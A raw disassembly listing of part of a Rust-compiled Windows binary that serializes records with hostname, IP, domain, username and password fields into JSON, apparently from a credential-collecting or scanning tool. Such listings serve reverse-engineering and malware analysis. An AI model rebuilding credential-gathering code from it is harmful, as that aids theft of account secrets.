mov dword [esp + 0x10], 0x1013e980
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 1
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
cmp dword [esp + 0x2c], 0
je 0x10143d39
push dword [esp + 0x28]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov ecx, dword [esp + 0xfc]
mov eax, dword [esp + 0x144]
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 4]
mov edi, dword [esp]
mov ebx, dword [esp + 8]
jmp 0x101429e1
push esi
push 1
mov edi, dword [ebp + 8]
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
push esi
push 1
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
push esi
push 1
mov edi, dword [ebp + 8]
call fcn.1001ac80
add esp, 8
jmp 0x10144af7
mov edi, dword [ebp + 8]
call fcn.1001ac40
jmp 0x10144af7
call fcn.1001ac40
jmp 0x10144af7
mov edi, dword [ebp + 8]
call fcn.1001ac40
jmp 0x10144af7
movzx eax, word [esp + 0x141]
mov ecx, dword [esp + 0x144]
movzx esi, byte [esp + 0x143]
mov dword [esp + 0xf4], eax
mov dword [esp + 4], ecx
lock dec dword [edi]
jne 0x10143de3
mov ecx, edi
call fcn.1013e270
mov eax, dword [esp + 0xf4]
mov ecx, dword [esp + 8]
shl esi, 0x18
shl eax, 8
or esi, eax
or esi, ebx
lock dec dword [ecx]
jne 0x10143e06
mov ecx, dword [esp + 8]
call fcn.1013dc40
mov eax, dword [esp + 4]
mov dword [esp + 0x78], esi
mov dword [esp + 0x7c], eax
push 0x10387ef8
push 0x103880d4
lea eax, [esp + 0x80]
push eax
push 0x16
push 0x10387ee0
call fcn.10027650
add esp, 0x14
jmp 0x10144af7
movsd xmm0, qword [esp + 0x150]
movsd xmm2, qword [esp + 0x140]
movsd xmm1, qword [esp + 0x148]
lea eax, [esp + 0x28]
mov dword [esp + 0x78], 0x10437988
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0xf8], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0xfc], fcn.10082ca0
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 1
movsd qword [esp + 0x38], xmm0
movsd qword [esp + 0x30], xmm1
movsd qword [esp + 0x28], xmm2
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
mov ebx, dword [esp + 0x198]
mov edi, dword [esp + 0x190]
mov edx, dword [esp + 0x28]
lea eax, [ebx + ebx*2]
mov dword [esp + 0xf8], edi
lea eax, [edi + eax*8]
mov dword [esp + 0xfc], eax
lea ecx, [esp + 0xf8]
push dword [esp + 0x30]
call fcn.1013f610
add esp, 4
cmp eax, 1
jne 0x10143f5b
cmp ebx, edx
jbe 0x1014418f
lea ecx, [edx + edx*2]
not edx
movsd xmm0, qword [edi + ecx*8 + 0x10]
add edx, ebx
lea eax, [edi + ecx*8]
shl edx, 3
lea edx, [edx + edx*2]
movsd qword [esp + 0x88], xmm0
movsd xmm0, qword [edi + ecx*8]
movsd xmm1, qword [edi + ecx*8 + 8]
lea ecx, [edi + ecx*8 + 0x18]
movsd qword [esp + 0x80], xmm1
movsd qword [esp + 0x78], xmm0
push edx
push ecx
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
dec ebx
mov dword [esp + 0x198], ebx
lea ecx, [esp + 0x78]
call fcn.1013bd70
lea ecx, [esp + 0x28]
call fcn.1013bd70
jmp 0x1014399f
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 4]
lea esi, [esp + 0x28]
lea eax, [eax + eax*2]
lea edi, [ecx + 0x18]
lea eax, [ecx + eax*8]
mov dword [esp], eax
jmp 0x10143f99
mov eax, dword [ebx]
mov byte [eax + edx], 0x7d
inc edx
mov dword [ebx + 8], edx
add edi, 0x18
cmp edi, dword [esp]
je 0x10143bb4
mov ebx, dword [esp + 0xc]
mov edx, dword [ebx + 8]
cmp dword [ebx + 4], edx
jne 0x10143fb4
mov ecx, ebx
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [ebx + 8]
mov eax, dword [ebx]
mov byte [eax + edx], 0x2c
inc edx
mov dword [ebx + 8], edx
mov ebx, dword [esp + 0xc]
mov edx, dword [ebx + 8]
cmp dword [ebx + 4], edx
jne 0x10143fd9
mov ecx, ebx
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [ebx + 8]
mov eax, dword [ebx]
mov byte [eax + edx], 0x7b
inc edx
lea eax, [esp + 0xc]
mov dword [ebx + 8], edx
mov dword [esp + 0x28], eax
mov byte [esp + 0x2c], 1
mov edx, str.hostnameipinternal_error:_entered_unreachable_code_usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_serde_json_1.0.105_src_ser.rs
mov ecx, esi
push dword [edi + 8]
push dword [edi]
push 8
call fcn.1013f530
add esp, 0xc
mov ebx, eax
test eax, eax
jne 0x1014405a
mov edx, 0x103877d8
mov ecx, esi
push dword [edi + 0x14]
push dword [edi + 0xc]
push 2
call fcn.1013f530
add esp, 0xc
mov ebx, eax
test eax, eax
jne 0x1014405a
cmp byte [esp + 0x2c], 0
je 0x10143f8d
mov eax, dword [esp + 0x28]
mov ebx, dword [eax]
mov edx, dword [ebx + 8]
cmp dword [ebx + 4], edx
jne 0x10143f83
mov ecx, ebx
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [ebx + 8]
jmp 0x10143f83
cmp dword [esp + 0x7c], 0
je 0x10144073
push dword [esp + 0x78]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x78], ebx
push 0x10437c78
push 0x10388120
lea eax, [esp + 0x80]
push eax
push 0x2b
push 0x103880e4
call fcn.10027650
add esp, 0x14
jmp 0x10144af7
movsd xmm0, qword [esp + 0x1a0]
mov eax, dword [esp + 0x1a8]
mov esi, dword [esp + 0x1c0]
movsd qword [esp + 0xe0], xmm0
movsd xmm0, qword [esp + 0x1b8]
mov dword [esp + 0xe8], eax
mov dword [esp + 0x80], esi
movsd qword [esp + 0x78], xmm0
lea ecx, [esp + 0x28]
lea edx, [esp + 0x78]
call fcn.1013ac30
cmp dword [esp + 0x28], 0
jne 0x101441a3
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
test ecx, ecx
mov dword [esp + 4], ecx
jne 0x10144343
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], esi
lea esi, [esp + 0xc]
lea eax, [esp + 0xf8]
mov dword [esp + 0x78], 0x104379f0
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0xf8], esi
mov dword [esp + 0x80], eax
mov dword [esp + 0xfc], 0x10166f90
mov dword [esp + 0x84], 1
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
mov dword [esp + 0x1c], 4
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
push esi
call fcn.1013bf60
add esp, 4
jmp 0x1014422b
push 0x104379b0
push ebx
push edx
call fcn.1001bf80
add esp, 0xc
jmp 0x10144af7
movsd xmm0, qword [esp + 0x2c]
lea eax, [esp + 0xc]
mov dword [esp + 0x78], 0x10437a30
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0xf8], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0xfc], 0x1013ea30
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 1
movsd qword [esp + 0xc], xmm0
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x1c], 4
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
call fcn.1013d120
xor esi, esi
mov dword [esp + 4], 4
jmp 0x10144353
mov ecx, dword [esp]
mov esi, dword [ecx]
mov ebx, dword [ecx + 8]
mov byte [eax + 1], 0x7b
lea eax, [esp + 0xc]
mov dword [esp + 0x80], 2
mov dword [esp + 0x28], eax
mov byte [esp + 0x2c], 1
mov edx, str.domainusernamepassword
lea ecx, [esp + 0x28]
push ebx
push esi
push 6
call fcn.1013f530
add esp, 0xc
mov esi, eax
test eax, eax
jne 0x10144ab9
mov eax, dword [esp]
mov edx, 0x10387952
lea ecx, [esp + 0x28]
push dword [eax + 0x14]
push dword [eax + 0xc]
push 8
call fcn.1013f530
add esp, 0xc
mov esi, eax
test eax, eax
jne 0x10144ab9
mov eax, dword [esp]
mov edx, 0x1038795a
lea ecx, [esp + 0x28]
push dword [eax + 0x20]
push dword [eax + 0x18]
push 8
call fcn.1013f530
add esp, 0xc
mov esi, eax
test eax, eax
jne 0x10144ab9
cmp byte [esp + 0x2c], 0
je 0x101442f7
mov eax, dword [esp + 0x28]
mov esi, dword [eax]
mov edx, dword [esi + 8]
cmp dword [esi + 4], edx
jne 0x101442ed
mov ecx, esi
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov byte [eax + edx], 0x7d
inc edx
mov dword [esi + 8], edx
cmp dword [esp + 8], 1
jne 0x101449aa
mov esi, dword [esp + 0xc]
mov edx, dword [esi + 8]
cmp dword [esi + 4], edx
jne 0x1014431d
mov ecx, esi
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov byte [eax + edx], 0x5d
inc edx
mov dword [esi + 8], edx
mov eax, dword [esp + 0x78]
mov esi, dword [esp + 0x7c]
test eax, eax
je 0x10144ad2
mov ecx, dword [esp + 0x80]
jmp 0x10143cc6
mov ecx, dword [esp + 4]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], esi
lea eax, [esp + 0xf8]
push eax
call fcn.10082650
add esp, 4
cmp dword [esp + 0xf8], 0
jne 0x1014444e
mov ecx, dword [esp + 0xe8]
mov ebx, dword [esp + 0xe0]
mov eax, dword [esp + 0xe4]
mov dword [esp + 0xd4], 4
mov dword [esp + 0xd8], 0
mov dword [esp + 0x134], 4
mov dword [esp + 0x138], 0
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xdc], 0
mov dword [esp + 0x13c], 0
mov dword [esp + 0x14], 0
imul edx, ecx, 0x4c
mov dword [esp + 0xf8], ebx
mov dword [esp + 0xfc], eax
mov dword [esp + 0x100], ebx
add edx, ebx
test ecx, ecx
mov dword [esp + 0xf4], edx
mov dword [esp + 0x104], edx
jne 0x10144564
xor esi, esi
mov dword [esp + 0x12c], 4
mov dword [esp + 0x124], 4
mov dword [esp + 0x128], 0
mov dword [esp + 0x120], 4
mov dword [esp + 0xf0], 0
jmp 0x1014477c
movsd xmm0, qword [esp + 0x108]
movsd xmm2, qword [esp + 0xf8]
movsd xmm1, qword [esp + 0x100]
lea eax, [esp + 0x28]
mov dword [esp + 0x78], 0x10437a70
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], fcn.10082ca0
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 1
movsd qword [esp + 0x38], xmm0
movsd qword [esp + 0x30], xmm1
movsd qword [esp + 0x28], xmm2
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x28]
lea eax, [esi + esi*2]
lea eax, [ecx + eax*8]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
lea ecx, [esp + 0xc]
push dword [esp + 0x30]
call fcn.1013f610
add esp, 4
cmp eax, 1
jne 0x10144556
cmp esi, edx
jbe 0x10144996
mov edi, dword [esp + 4]
lea ecx, [edx + edx*2]
not edx
add edx, esi
shl edx, 3
lea edx, [edx + edx*2]
movsd xmm0, qword [edi + ecx*8 + 0x10]
lea eax, [edi + ecx*8]
movsd qword [esp + 0x88], xmm0
movsd xmm0, qword [edi + ecx*8]
movsd xmm1, qword [edi + ecx*8 + 8]
lea ecx, [edi + ecx*8 + 0x18]
movsd qword [esp + 0x80], xmm1
movsd qword [esp + 0x78], xmm0
push edx
push ecx
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
dec esi
mov dword [esp + 0x24], esi
lea ecx, [esp + 0x78]
call fcn.1013bd70
lea ecx, [esp + 0x28]
call fcn.1013bd70
jmp 0x10144371
shl esi, 3
mov edi, ebx
mov dword [esp + 0x128], 0
mov dword [esp + 0x124], 4
mov dword [esp + 0x120], 4
mov dword [esp + 0xf0], 0
mov dword [esp + 0x12c], 4
lea eax, [esi + esi*2]
xor esi, esi
mov dword [esp + 0x1d8], eax
lea eax, [esp + 0x78]
mov dword [esp + 0x1d0], eax
mov eax, ebx
jmp 0x101445f3
mov ecx, dword [esp + 0x12c]
imul eax, esi, 0x4c
mov dword [esp + 0x12c], ecx
add eax, ecx
push 0x4c
push ebx
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
inc esi
mov dword [esp + 0xdc], esi
mov eax, dword [esp + 8]
cmp eax, dword [esp + 0xf4]
je 0x1014477c
lea ecx, [eax + 0x4c]
mov dword [esp], esi
mov dword [esp + 0x100], ecx
mov dword [esp + 8], ecx
movzx edx, byte [eax + 0x49]
cmp dl, 2
je 0x10144779
mov ecx, 0x12
lea edi, [esp + 0x28]
mov esi, eax
movzx ebx, word [eax + 0x4a]
test dl, dl
rep movsd dword es:[edi], dword [esi]
movzx eax, byte [eax + 0x48]
mov esi, dword [esp + 0x1d8]
mov edi, dword [esp + 4]
mov byte [esp + 0x70], al
mov byte [esp + 0x71], dl
mov word [esp + 0x72], bx
lea ebx, [esp + 0x28]
je 0x10144684
mov ecx, 0x13
lea edi, [esp + 0x78]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp]
cmp esi, dword [esp + 0xd8]
jne 0x101445bb
lea ecx, [esp + 0xd4]
mov edx, esi
call fcn.1013e510
mov ecx, dword [esp + 0xd4]
mov esi, dword [esp + 0xdc]
jmp 0x101445c2
test esi, esi
je 0x101446dc
push ebx
push edi
call fcn.10080f40
add esp, 8
add edi, 0x18
add esi, 0xffffffe8
test al, al
je 0x10144684
mov ecx, 0x13
lea edi, [esp + 0x78]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0xf0]
cmp edx, dword [esp + 0x138]
jne 0x10144741
lea ecx, [esp + 0x134]
call fcn.1013e510
mov esi, dword [esp]
mov ecx, dword [esp + 0x134]
mov edi, dword [esp + 0x13c]
jmp 0x1014474d
mov ecx, 0x13
lea edi, [esp + 0x78]
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x128]
cmp edx, dword [esp + 0x10]
jne 0x1014470c
lea ecx, [esp + 0xc]
call fcn.1013e510
mov esi, dword [esp]
mov ecx, dword [esp + 0xc]
mov edi, dword [esp + 0x14]
jmp 0x10144718
mov esi, dword [esp]
mov ecx, dword [esp + 0x124]
mov edi, edx
imul eax, edi, 0x4c
mov dword [esp + 0x124], ecx
add eax, ecx
push 0x4c
push ebx
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
inc edi
mov dword [esp + 0x128], edi
mov dword [esp + 0x14], edi
jmp 0x101445e2
mov esi, dword [esp]
mov ecx, dword [esp + 0x120]
mov edi, edx
imul eax, edi, 0x4c
mov dword [esp + 0x120], ecx
add eax, ecx
push 0x4c
push ebx
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
inc edi
mov dword [esp + 0xf0], edi
mov dword [esp + 0x13c], edi
jmp 0x101445e2
mov esi, dword [esp]
mov ebx, esi
lea ecx, [esp + 0xf8]
call fcn.1013cfb0
cmp dword [esp + 0xf0], 0
je 0x1014482d
mov eax, dword [esp + 0xf0]
mov edx, dword [esp + 0x120]
mov dword [esp + 0x130], eax
imul eax, eax, 0x4c
add eax, edx
lea esi, [esp + 0xf8]
mov ecx, esi
push eax
call fcn.1013f830
add esp, 4
lea eax, [esp + 0x130]
mov dword [esp + 0x78], 0x10437abc
mov dword [esp + 0x7c], 2
mov dword [esp + 0x88], 0
mov dword [esp + 0x28], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x2c], 0x1002e030
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 0x1013e9a0
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 2
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
lea ecx, [esp + 0xf8]
call fcn.1013cb40
mov eax, dword [esp + 0x128]
mov edx, dword [esp + 0x124]
mov dword [esp + 0x130], eax
imul eax, eax, 0x4c
add eax, edx
lea esi, [esp + 0xf8]
mov ecx, esi
push eax
call fcn.1013f830
add esp, 4
lea edi, [esp + 0x130]
lea eax, [esp + 0x28]
mov dword [esp + 0x78], 0x10437b24
mov dword [esp + 0x7c], 2
mov dword [esp + 0x88], 0
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], 0x1002e030
mov dword [esp + 0x30], esi
mov dword [esp + 0x80], eax
mov dword [esp + 0x34], 0x1013e9a0
mov dword [esp + 0x84], 2
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
lea ecx, [esp + 0xf8]
call fcn.1013cb40
mov edx, dword [esp + 0x12c]
imul eax, ebx, 0x4c
mov dword [esp + 0x130], ebx
add eax, edx
lea esi, [esp + 0xf8]
mov ecx, esi
push eax
call fcn.1013f830
add esp, 4
lea eax, [esp + 0x28]
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], 0x1002e030
mov dword [esp + 0x30], esi
mov dword [esp + 0x78], 0x10437b64
mov dword [esp + 0x7c], 2
mov dword [esp + 0x88], 0
mov dword [esp + 0x34], 0x1013e9a0
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], 2
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
lea ecx, [esp + 0xf8]
call fcn.1013cb40
mov dword [esp + 0x78], 0x10437b98
mov dword [esp + 0x7c], 1
mov dword [esp + 0x88], 0
mov dword [esp + 0x80], 0x10387964
mov dword [esp + 0x84], 0
lea eax, [esp + 0x78]
push eax
call fcn.100748a0
add esp, 4
push 0
call fcn.1016d750
add esp, 4
jmp 0x10144af7
push 0x10437a78
push esi
push edx
call fcn.1001bf80
add esp, 0xc
jmp 0x10144af7
mov eax, dword [esp + 8]
mov ecx, dword [esp]
lea eax, [eax + eax*8]
lea edi, [ecx + 0x24]
lea ebx, [ecx + eax*4]
jmp 0x101449d8
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov byte [eax + edx], 0x7d
inc edx
mov dword [esi + 8], edx
mov eax, edi
add eax, 0x24
mov edi, eax
cmp eax, ebx
je 0x10144302
mov esi, dword [esp + 0xc]
mov edx, dword [esi + 8]
cmp dword [esi + 4], edx
jne 0x101449f3
mov ecx, esi
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov byte [eax + edx], 0x2c
inc edx
mov dword [esi + 8], edx
mov esi, dword [esp + 0xc]
mov edx, dword [esi + 8]
cmp dword [esi + 4], edx
jne 0x10144a18
mov ecx, esi
push 1
call fcn.1013e8f0
add esp, 4
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov byte [eax + edx], 0x7b
inc edx
lea eax, [esp + 0xc]
mov dword [esi + 8], edx
mov dword [esp + 0x28], eax
mov byte [esp + 0x2c], 1
mov edx, str.domainusernamepassword
lea ecx, [esp + 0x28]
push dword [edi + 8]
push dword [edi]
push 6
call fcn.1013f530
add esp, 0xc
mov esi, eax
test eax, eax
jne 0x10144ab9
mov edx, 0x10387952
lea ecx, [esp + 0x28]
push dword [edi + 0x14]
push dword [edi + 0xc]
push 8
call fcn.1013f530
add esp, 0xc
mov esi, eax
test eax, eax
jne 0x10144ab9
mov edx, 0x1038795a
lea ecx, [esp + 0x28]
push dword [edi + 0x20]
push dword [edi + 0x18]
push 8
call fcn.1013f530
add esp, 0xc
mov esi, eax
test eax, eax
jne 0x10144ab9
cmp byte [esp + 0x2c], 0
je 0x101449c9
mov eax, dword [esp + 0x28]
mov esi, dword [eax]
mov edx, dword [esi + 8]
cmp dword [esi + 4], edx
jne 0x101449bf
mov ecx, esi
push 1
call fcn.1013e8f0
add esp, 4
jmp 0x101449bc
cmp dword [esp + 0x7c], 0
je 0x10144ad2
push dword [esp + 0x78]
push 0
mov eax, dword [0x1044eff8]
push dword [eax]
call sub.KERNEL32.dll_HeapFree
mov dword [esp + 0x78], esi
push 0x10437cb8
push 0x10388120
lea eax, [esp + 0x80]
push eax
push 0x2b
push 0x103880e4
call fcn.10027650
add esp, 0x14
ud2